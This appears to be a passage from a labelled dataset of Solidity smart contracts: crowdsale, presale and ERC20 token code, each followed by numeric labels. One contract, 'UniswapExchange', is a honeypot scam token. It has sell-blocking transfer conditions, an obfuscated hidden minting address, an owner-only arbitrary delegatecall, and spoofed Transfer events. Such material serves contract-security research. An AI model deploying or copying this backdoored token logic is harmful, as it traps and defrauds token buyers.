tosToken.safeTransfer(beneficiary, releaseAmount);
unlocked = unlockePercentages[num];
}
}
} | 1 | 2,508 |
library SafeMathLib {
function times(uint a, uint b) returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function minus(uint a, uint b) returns (uint) {
assert(b <= a);
return a - b;
}
function plus(uint a, uint b) returns (uint) {
uint c = a + b;
assert(c>=a);
return c;
}
}
contract Ownable {
address public owner;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner {
require(newOwner != address(0));
owner = newOwner;
}
}
contract Haltable is Ownable {
bool public halted;
modifier stopInEmergency {
if (halted) throw;
_;
}
modifier stopNonOwnersInEmergency {
if (halted && msg.sender != owner) throw;
_;
}
modifier onlyInEmergency {
if (!halted) throw;
_;
}
function halt() external onlyOwner {
halted = true;
}
function unhalt() external onlyOwner onlyInEmergency {
halted = false;
}
}
contract PricingStrategy {
function isPricingStrategy() public constant returns (bool) {
return true;
}
function isSane(address crowdsale) public constant returns (bool) {
return true;
}
function isPresalePurchase(address purchaser) public constant returns (bool) {
return false;
}
function calculatePrice(uint value, uint weiRaised, uint tokensSold, address msgSender, uint decimals) public constant returns (uint tokenAmount);
}
contract FinalizeAgent {
function isFinalizeAgent() public constant returns(bool) {
return true;
}
function isSane() public constant returns (bool);
function finalizeCrowdsale();
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value) returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint256);
function transferFrom(address from, address to, uint256 value) returns (bool);
function approve(address spender, uint256 value) returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract FractionalERC20 is ERC20 {
uint public decimals;
}
contract Crowdsale is Haltable {
uint public MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE = 5;
using SafeMathLib for uint;
FractionalERC20 public token;
PricingStrategy public pricingStrategy;
FinalizeAgent public finalizeAgent;
address public multisigWallet;
uint public minimumFundingGoal;
uint public startsAt;
uint public endsAt;
uint public tokensSold = 0;
uint public weiRaised = 0;
uint public investorCount = 0;
uint public loadedRefund = 0;
uint public weiRefunded = 0;
bool public finalized;
bool public requireCustomerId;
bool public requiredSignedAddress;
address public signerAddress;
mapping (address => uint256) public investedAmountOf;
mapping (address => uint256) public tokenAmountOf;
uint public ownerTestValue;
enum State{Unknown, Preparing, PreFunding, Funding, Success, Failure, Finalized, Refunding}
event Invested(address investor, uint weiAmount, uint tokenAmount, uint128 customerId);
event Refund(address investor, uint weiAmount);
event InvestmentPolicyChanged(bool newRequireCustomerId, bool newRequiredSignedAddress, address newSignerAddress);
event EndsAtChanged(uint newEndsAt);
function Crowdsale(address _token, PricingStrategy _pricingStrategy, address _multisigWallet, uint _start, uint _end, uint _minimumFundingGoal) {
owner = msg.sender;
token = FractionalERC20(_token);
setPricingStrategy(_pricingStrategy);
multisigWallet = _multisigWallet;
if(multisigWallet == 0) {
throw;
}
if(_start == 0) {
throw;
}
startsAt = _start;
if(_end == 0) {
throw;
}
endsAt = _end;
if(startsAt >= endsAt) {
throw;
}
minimumFundingGoal = _minimumFundingGoal;
}
function() payable {
invest(msg.sender);
}
function buyWithReferral(uint128 customerId) payable {
investWithCustomerId(msg.sender, customerId);
}
function investInternal(address receiver, uint128 customerId) stopInEmergency private {
if(getState() == State.Funding) {
} else {
throw;
}
uint weiAmount = msg.value;
uint tokenAmount = pricingStrategy.calculatePrice(weiAmount, weiRaised, tokensSold, msg.sender, token.decimals());
if(tokenAmount == 0) {
throw;
}
if (investedAmountOf[receiver] == 0) {
investorCount++;
}
investedAmountOf[receiver] = investedAmountOf[receiver].plus(weiAmount);
tokenAmountOf[receiver] = tokenAmountOf[receiver].plus(tokenAmount);
weiRaised = weiRaised.plus(weiAmount);
tokensSold = tokensSold.plus(tokenAmount);
if(isBreakingCap(weiAmount, tokenAmount, weiRaised, tokensSold)) {
throw;
}
assignTokens(receiver, tokenAmount);
if(!multisigWallet.send(weiAmount)) throw;
Invested(receiver, weiAmount, tokenAmount, customerId);
}
function preallocate(address receiver, uint fullTokens, uint weiPrice) public onlyOwner {
uint tokenAmount = fullTokens * 10**token.decimals();
uint weiAmount = weiPrice * fullTokens;
weiRaised = weiRaised.plus(weiAmount);
tokensSold = tokensSold.plus(tokenAmount);
investedAmountOf[receiver] = investedAmountOf[receiver].plus(weiAmount);
tokenAmountOf[receiver] = tokenAmountOf[receiver].plus(tokenAmount);
assignTokens(receiver, tokenAmount);
Invested(receiver, weiAmount, tokenAmount, 0);
}
function investWithSignedAddress(address addr, uint128 customerId, uint8 v, bytes32 r, bytes32 s) public payable {
bytes32 hash = sha256(addr);
if (ecrecover(hash, v, r, s) != signerAddress) throw;
if(customerId == 0) throw;
investInternal(addr, customerId);
}
function investWithCustomerId(address addr, uint128 customerId) public payable {
if (requiredSignedAddress) throw;
if (customerId == 0) throw;
investInternal(addr, customerId);
}
function invest(address addr) public payable {
if(requireCustomerId) throw;
if(requiredSignedAddress) throw;
investInternal(addr, 0);
}
function buyWithSignedAddress(uint128 customerId, uint8 v, bytes32 r, bytes32 s) public payable {
investWithSignedAddress(msg.sender, customerId, v, r, s);
}
function buyWithCustomerId(uint128 customerId) public payable {
investWithCustomerId(msg.sender, customerId);
}
function buy() public payable {
invest(msg.sender);
}
function finalize() public inState(State.Success) onlyOwner stopInEmergency {
if(finalized) {
throw;
}
if(address(finalizeAgent) != 0) {
finalizeAgent.finalizeCrowdsale();
}
finalized = true;
}
function setFinalizeAgent(FinalizeAgent addr) onlyOwner {
finalizeAgent = addr;
if(!finalizeAgent.isFinalizeAgent()) {
throw;
}
}
function setRequireCustomerId(bool value) onlyOwner {
requireCustomerId = value;
InvestmentPolicyChanged(requireCustomerId, requiredSignedAddress, signerAddress);
}
function setRequireSignedAddress(bool value, address _signerAddress) onlyOwner {
requiredSignedAddress = value;
signerAddress = _signerAddress;
InvestmentPolicyChanged(requireCustomerId, requiredSignedAddress, signerAddress);
}
function setEndsAt(uint time) onlyOwner {
if(now > time) {
throw;
}
endsAt = time;
EndsAtChanged(endsAt);
}
function setPricingStrategy(PricingStrategy _pricingStrategy) onlyOwner {
pricingStrategy = _pricingStrategy;
if(!pricingStrategy.isPricingStrategy()) {
throw;
}
}
function setMultisig(address addr) public onlyOwner {
if(investorCount > MAX_INVESTMENTS_BEFORE_MULTISIG_CHANGE) {
throw;
}
multisigWallet = addr;
}
function loadRefund() public payable inState(State.Failure) {
if(msg.value == 0) throw;
loadedRefund = loadedRefund.plus(msg.value);
}
function refund() public inState(State.Refunding) {
uint256 weiValue = investedAmountOf[msg.sender];
if (weiValue == 0) throw;
investedAmountOf[msg.sender] = 0;
weiRefunded = weiRefunded.plus(weiValue);
Refund(msg.sender, weiValue);
if (!msg.sender.send(weiValue)) throw;
}
function isMinimumGoalReached() public constant returns (bool reached) {
return weiRaised >= minimumFundingGoal;
}
function isFinalizerSane() public constant returns (bool sane) {
return finalizeAgent.isSane();
}
function isPricingSane() public constant returns (bool sane) {
return pricingStrategy.isSane(address(this));
}
function getState() public constant returns (State) {
if(finalized) return State.Finalized;
else if (address(finalizeAgent) == 0) return State.Preparing;
else if (!finalizeAgent.isSane()) return State.Preparing;
else if (!pricingStrategy.isSane(address(this))) return State.Preparing;
else if (block.timestamp < startsAt) return State.PreFunding;
else if (block.timestamp <= endsAt && !isCrowdsaleFull()) return State.Funding;
else if (isMinimumGoalReached()) return State.Success;
else if (!isMinimumGoalReached() && weiRaised > 0 && loadedRefund >= weiRaised) return State.Refunding;
else return State.Failure;
}
function setOwnerTestValue(uint val) onlyOwner {
ownerTestValue = val;
}
function isCrowdsale() public constant returns (bool) {
return true;
}
modifier inState(State state) {
if(getState() != state) throw;
_;
}
function isBreakingCap(uint weiAmount, uint tokenAmount, uint weiRaisedTotal, uint tokensSoldTotal) constant returns (bool limitBroken);
function isCrowdsaleFull() public constant returns (bool);
function assignTokens(address receiver, uint tokenAmount) private;
}
contract SafeMath {
function safeMul(uint a, uint b) internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function safeDiv(uint a, uint b) internal returns (uint) {
assert(b > 0);
uint c = a / b;
assert(a == b * c + a % b);
return c;
}
function safeSub(uint a, uint b) internal returns (uint) {
assert(b <= a);
return a - b;
}
function safeAdd(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c>=a && c>=b);
return c;
}
function max64(uint64 a, uint64 b) internal constant returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal constant returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal constant returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal constant returns (uint256) {
return a < b ? a : b;
}
}
contract StandardToken is ERC20, SafeMath {
event Minted(address receiver, uint amount);
mapping(address => uint) balances;
mapping (address => mapping (address => uint)) allowed;
function isToken() public constant returns (bool weAre) {
return true;
}
function transfer(address _to, uint _value) returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], _value);
balances[_to] = safeAdd(balances[_to], _value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint _value) returns (bool success) {
uint _allowance = allowed[_from][msg.sender];
balances[_to] = safeAdd(balances[_to], _value);
balances[_from] = safeSub(balances[_from], _value);
allowed[_from][msg.sender] = safeSub(_allowance, _value);
Transfer(_from, _to, _value);
return true;
}
function balanceOf(address _owner) constant returns (uint balance) {
return balances[_owner];
}
function approve(address _spender, uint _value) returns (bool success) {
if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) throw;
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint remaining) {
return allowed[_owner][_spender];
}
}
contract MintableToken is StandardToken, Ownable {
using SafeMathLib for uint;
bool public mintingFinished = false;
mapping (address => bool) public mintAgents;
event MintingAgentChanged(address addr, bool state );
function mint(address receiver, uint amount) onlyMintAgent canMint public {
totalSupply = totalSupply.plus(amount);
balances[receiver] = balances[receiver].plus(amount);
Transfer(0, receiver, amount);
}
function setMintAgent(address addr, bool state) onlyOwner canMint public {
mintAgents[addr] = state;
MintingAgentChanged(addr, state);
}
modifier onlyMintAgent() {
if(!mintAgents[msg.sender]) {
throw;
}
_;
}
modifier canMint() {
if(mintingFinished) throw;
_;
}
}
contract MintedEthCappedCrowdsale is Crowdsale {
uint public weiCap;
function MintedEthCappedCrowdsale(address _token, PricingStrategy _pricingStrategy, address _multisigWallet, uint _start, uint _end, uint _minimumFundingGoal, uint _weiCap) Crowdsale(_token, _pricingStrategy, _multisigWallet, _start, _end, _minimumFundingGoal) {
weiCap = _weiCap;
}
function isBreakingCap(uint weiAmount, uint tokenAmount, uint weiRaisedTotal, uint tokensSoldTotal) constant returns (bool limitBroken) {
return weiRaisedTotal > weiCap;
}
function isCrowdsaleFull() public constant returns (bool) {
return weiRaised >= weiCap;
}
function assignTokens(address receiver, uint tokenAmount) private {
MintableToken mintableToken = MintableToken(token);
mintableToken.mint(receiver, tokenAmount);
}
} | 0 | 2,036 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1461045492991056468287016484048686824852249628073));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 1 | 3,786 |
pragma solidity ^0.4.6;
contract Presale {
string public constant VERSION = "0.1.4-beta";
uint public constant PRESALE_START = 3127150;
uint public constant PRESALE_END = 3127750;
uint public constant WITHDRAWAL_END = 3128710;
address public constant OWNER = 0x45d5426471D12b21C3326dD0cF96f6656F7d14b1;
uint public constant MIN_TOTAL_AMOUNT_TO_RECEIVE_ETH = 1;
uint public constant MAX_TOTAL_AMOUNT_TO_RECEIVE_ETH = 5;
uint public constant MIN_ACCEPTED_AMOUNT_FINNEY = 1;
string[5] private stateNames = ["BEFORE_START", "PRESALE_RUNNING", "WITHDRAWAL_RUNNING", "REFUND_RUNNING", "CLOSED" ];
enum State { BEFORE_START, PRESALE_RUNNING, WITHDRAWAL_RUNNING, REFUND_RUNNING, CLOSED }
uint public total_received_amount;
mapping (address => uint) public balances;
uint private constant MIN_TOTAL_AMOUNT_TO_RECEIVE = MIN_TOTAL_AMOUNT_TO_RECEIVE_ETH * 1 ether;
uint private constant MAX_TOTAL_AMOUNT_TO_RECEIVE = MAX_TOTAL_AMOUNT_TO_RECEIVE_ETH * 1 ether;
uint private constant MIN_ACCEPTED_AMOUNT = MIN_ACCEPTED_AMOUNT_FINNEY * 1 finney;
bool public isAborted = false;
function Presale () validSetupOnly() { }
function ()
payable
noReentrancy
{
State state = currentState();
if (state == State.PRESALE_RUNNING) {
receiveFunds();
} else if (state == State.REFUND_RUNNING) {
sendRefund();
} else {
throw;
}
}
function refund() external
inState(State.REFUND_RUNNING)
noReentrancy
{
sendRefund();
}
function withdrawFunds() external
inState(State.WITHDRAWAL_RUNNING)
onlyOwner
noReentrancy
{
if (!OWNER.send(this.balance)) throw;
}
function abort() external
inStateBefore(State.REFUND_RUNNING)
onlyOwner
{
isAborted = true;
}
function state() external constant
returns (string)
{
return stateNames[ uint(currentState()) ];
}
function sendRefund() private tokenHoldersOnly {
var amount_to_refund = balances[msg.sender] + msg.value;
balances[msg.sender] = 0;
if (!msg.sender.send(amount_to_refund)) throw;
}
function receiveFunds() private notTooSmallAmountOnly {
if (total_received_amount + msg.value > MAX_TOTAL_AMOUNT_TO_RECEIVE) {
var change_to_return = total_received_amount + msg.value - MAX_TOTAL_AMOUNT_TO_RECEIVE;
if (!msg.sender.send(change_to_return)) throw;
var acceptable_remainder = MAX_TOTAL_AMOUNT_TO_RECEIVE - total_received_amount;
balances[msg.sender] += acceptable_remainder;
total_received_amount += acceptable_remainder;
} else {
balances[msg.sender] += msg.value;
total_received_amount += msg.value;
}
}
function currentState() private constant returns (State) {
if (isAborted) {
return this.balance > 0
? State.REFUND_RUNNING
: State.CLOSED;
} else if (block.number < PRESALE_START) {
return State.BEFORE_START;
} else if (block.number <= PRESALE_END && total_received_amount < MAX_TOTAL_AMOUNT_TO_RECEIVE) {
return State.PRESALE_RUNNING;
} else if (this.balance == 0) {
return State.CLOSED;
} else if (block.number <= WITHDRAWAL_END && total_received_amount >= MIN_TOTAL_AMOUNT_TO_RECEIVE) {
return State.WITHDRAWAL_RUNNING;
} else {
return State.REFUND_RUNNING;
}
}
modifier inState(State state) {
if (state != currentState()) throw;
_;
}
modifier inStateBefore(State state) {
if (currentState() >= state) throw;
_;
}
modifier validSetupOnly() {
if ( OWNER == 0x0
|| PRESALE_START == 0
|| PRESALE_END == 0
|| WITHDRAWAL_END ==0
|| PRESALE_START <= block.number
|| PRESALE_START >= PRESALE_END
|| PRESALE_END >= WITHDRAWAL_END
|| MIN_TOTAL_AMOUNT_TO_RECEIVE > MAX_TOTAL_AMOUNT_TO_RECEIVE )
throw;
_;
}
modifier onlyOwner(){
if (msg.sender != OWNER) throw;
_;
}
modifier tokenHoldersOnly(){
if (balances[msg.sender] == 0) throw;
_;
}
modifier notTooSmallAmountOnly(){
if (msg.value < MIN_ACCEPTED_AMOUNT) throw;
_;
}
bool private locked = false;
modifier noReentrancy() {
if (locked) throw;
locked = true;
_;
locked = false;
}
} | 0 | 1,224 |
pragma solidity ^0.4.25;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
require(c >= a);
return c;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(account) }
return size > 0;
}
}
contract IERC20Receiver {
function onERC20Received(address from, uint256 value) public returns (bytes4);
}
interface IERC20 {
function transfer(address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function allowance(address owner, address spender) public view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20 is IERC20 {
using SafeMath for uint256;
using Address for address;
mapping(address => uint256) internal _balances;
mapping(address => mapping(address => uint256)) private _allowed;
uint256 internal _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowed[owner][spender];
}
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function approve(address spender, uint256 value) public returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value) public returns (bool) {
_transfer(from, to, value);
_approve(from, msg.sender, _allowed[from][msg.sender].sub(value));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(msg.sender, spender, _allowed[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(msg.sender, spender, _allowed[msg.sender][spender].sub(subtractedValue));
return true;
}
function _transfer(address from, address to, uint256 value) internal {
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
if (to.isContract()) {
IERC20Receiver(to).onERC20Received(from, value);
}
emit Transfer(from, to, value);
}
function _burn(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
function burn(uint256 value) public {
_burn(msg.sender, value);
}
function _approve(address owner, address spender, uint256 value) internal {
require(spender != address(0));
require(owner != address(0));
_allowed[owner][spender] = value;
emit Approval(owner, spender, value);
}
function _burnFrom(address account, uint256 value) internal {
_burn(account, value);
_approve(account, msg.sender, _allowed[account][msg.sender].sub(value));
}
}
contract TROENT is ERC20 {
string public name;
string public symbol;
uint8 public decimals;
address public owner;
constructor (string _name, string _symbol, uint8 _decimals, uint256 totalSupply) public {
owner = msg.sender;
name = _name;
symbol = _symbol;
decimals = _decimals;
_totalSupply = totalSupply;
_balances[msg.sender] = totalSupply;
}
} | 1 | 3,216 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
